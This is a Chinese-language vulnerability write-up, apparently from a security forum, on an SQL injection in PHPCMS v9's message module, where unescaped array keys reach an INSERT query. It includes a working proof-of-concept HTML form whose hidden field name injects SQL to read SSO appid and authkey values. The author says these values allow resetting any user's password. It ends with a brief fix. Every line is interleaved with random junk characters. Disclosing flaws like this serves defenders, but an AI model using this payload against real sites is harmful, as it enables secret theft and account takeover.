|
简要描述:! y4 \& Y, t4 w+ x7 Z3 H. J
+ K) n# T8 t- w g8 U! J第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。7 r3 O. e0 ]! a7 U- G% w+ Q
; V* f2 q0 e- A' I
明天再更新下一个漏洞。- N3 E0 b. W* [' A7 P
详细说明:) J" m5 ]2 r4 j
在/phpcms9/phpcms/modules/message/index.php中有代码如下:0 L3 H; }2 q) }: v. x5 w- H
1 t6 C0 Q! K" e5 g
$messageid = $this->message_db->insert($_POST['info'],true);
" M |+ P5 O/ \$ U2 T( H% N3 n3 O0 k3 `
' H' |9 _6 B1 ~9 Z, Vinsert方法是key value的,代码如下:- L8 _( Y2 K8 T1 U- [7 B
# M$ T) B( a6 I6 R5 Jpublic function insert($data, $table, $return_insert_id = false, $replace = false) {$ _1 c4 u! L8 A. L# E1 ?
if(!is_array( $data ) || $table == '' || count($data) == 0) {+ u; x ] R0 H2 f
return false;3 f2 `8 { U5 E
}- |1 ~) q7 K" I
. G1 {4 v( ]! q1 {- O7 ?! l $fielddata = array_keys($data);
+ v0 x+ I4 s0 }" a# d$ ? $valuedata = array_values($data);& P: l/ M/ {0 W+ s9 E. e' q5 K
array_walk($fielddata, array($this, 'add_special_char'));
, a Z! |, N: J A array_walk($valuedata, array($this, 'escape_string'));
. l, P' n6 k. P& e # o$ |9 ]8 p+ P
$field = implode (',', $fielddata);
S9 o+ b! [3 w% F2 {% r5 R $value = implode (',', $valuedata);
( H" H* {% }7 z) R- V& ^1 G% x0 L/ o1 q
! _1 ]8 l! Q' X1 f $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';2 }% {, O/ x4 [. e6 e( G
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
* K- J/ P) N. {" X6 z) v $return = $this->execute($sql);
% E3 }. \9 J2 R. F2 B return $return_insert_id ? $this->insert_id() : $return;: i3 @$ Z0 ], S- w$ f0 _, g
}/ T0 v% @' U- a3 _
/ b, J4 G6 h2 C9 W i" t
$ |; M* R7 P- e4 }# g2 [嗯,很遗憾的是
/ a9 M! n0 H1 _+ M( n. Z" v, ]+ j3 R, t4 E n8 P- C: Y
array_walk($fielddata, array($this, 'add_special_char'));
5 v0 Z! g" Q; ~: E: H
) ^6 F8 a' ^! N: \, {9 A9 M% S. ~( l3 [7 o3 H/ d
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。2 ]3 y4 {; }- B: i( v: A z+ s1 v
% e1 ]: o8 U8 _到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。; H/ D, T2 P# E' N
5 S$ H. U7 p) n漏洞证明:
U) b4 N" `3 G读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
2 |: k" ^5 |* |' l: @: g. L. h9 h5 h- c
1 m, R5 H* V8 R( C& Q3 _7 Q表单如下:用户名什么的得自己改一改。
3 v* X, o& s3 Z! M$ h<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
6 x5 N1 o5 j7 o: _2 Y7 h1 _<table width="100%" cellspacing="0" class="table_form">/ J8 G. V. C# E+ v5 r: A
<tr>% j2 P( Z6 @5 F3 H% z6 `
<th>标 题:</th>
; x( k( {$ B: ?% a<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>5 A7 y& a# n2 }1 g- T
</tr> ) _2 }* |# H! u6 W
<tr>8 C8 d5 I- {$ S
<th>内 容:</th>. L. _( \5 n- w- W) Y- K& B
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>/ i3 i P$ L! M! M* ?) `
</tr>2 b6 q2 t- Z4 \4 h) g
<input type="hidden" name="info[replyid]" value="2" />
% \ u+ Z8 V: |8 y- [& P5 g<input type="hidden" name="info[send_to_id]" value="cc" />
& Z! g& ^( p" g6 ]7 V$ |8 S+ D<input type="hidden" name="info[send_from_id]" value="hh">
. P2 C% }3 l4 P& u) }( P<!-- 漏洞的利用重点在这里开始 -->( ~! Q8 y: A: F2 f# ?8 F
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 0 `$ ^, [! I" @5 T
<!-- 漏洞的利用重点在这里结束 -->/ h3 \' ^" U O( C8 u
<tr>2 z+ w1 s" ?; ]3 ^1 R
<th>验证码:</th>
4 [9 u+ e+ S3 Y- U1 V<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>" `* \2 f+ _6 I
</tr>1 \: ? a. r" \5 H
<tr>
1 g0 _4 }( [ S5 ~6 x1 R ?1 B<td></td>
) }. P+ I( `/ S( g, }! O- D, F; y<td colspan="2"><label>
( a7 L& u6 c4 H8 R<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>7 @; r( i, y' S" k4 K
</label></td>
3 U. n1 ?3 T/ c/ N) _- J</tr>9 |! J3 C5 k% I% K* A% d; o
</table>: }1 ]5 f' A7 E- r. p( O& [
</form>
! t3 N0 p7 Q+ @/ ]) B# i在add_special_char函数内对key做过滤就可以了。' p1 _1 E" G n% d Q! V9 c
* P' f$ p4 c* b5 s+ h
6 d6 o' }( j, u& Z5 r
9 y, l2 _/ I4 Y! y& O |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|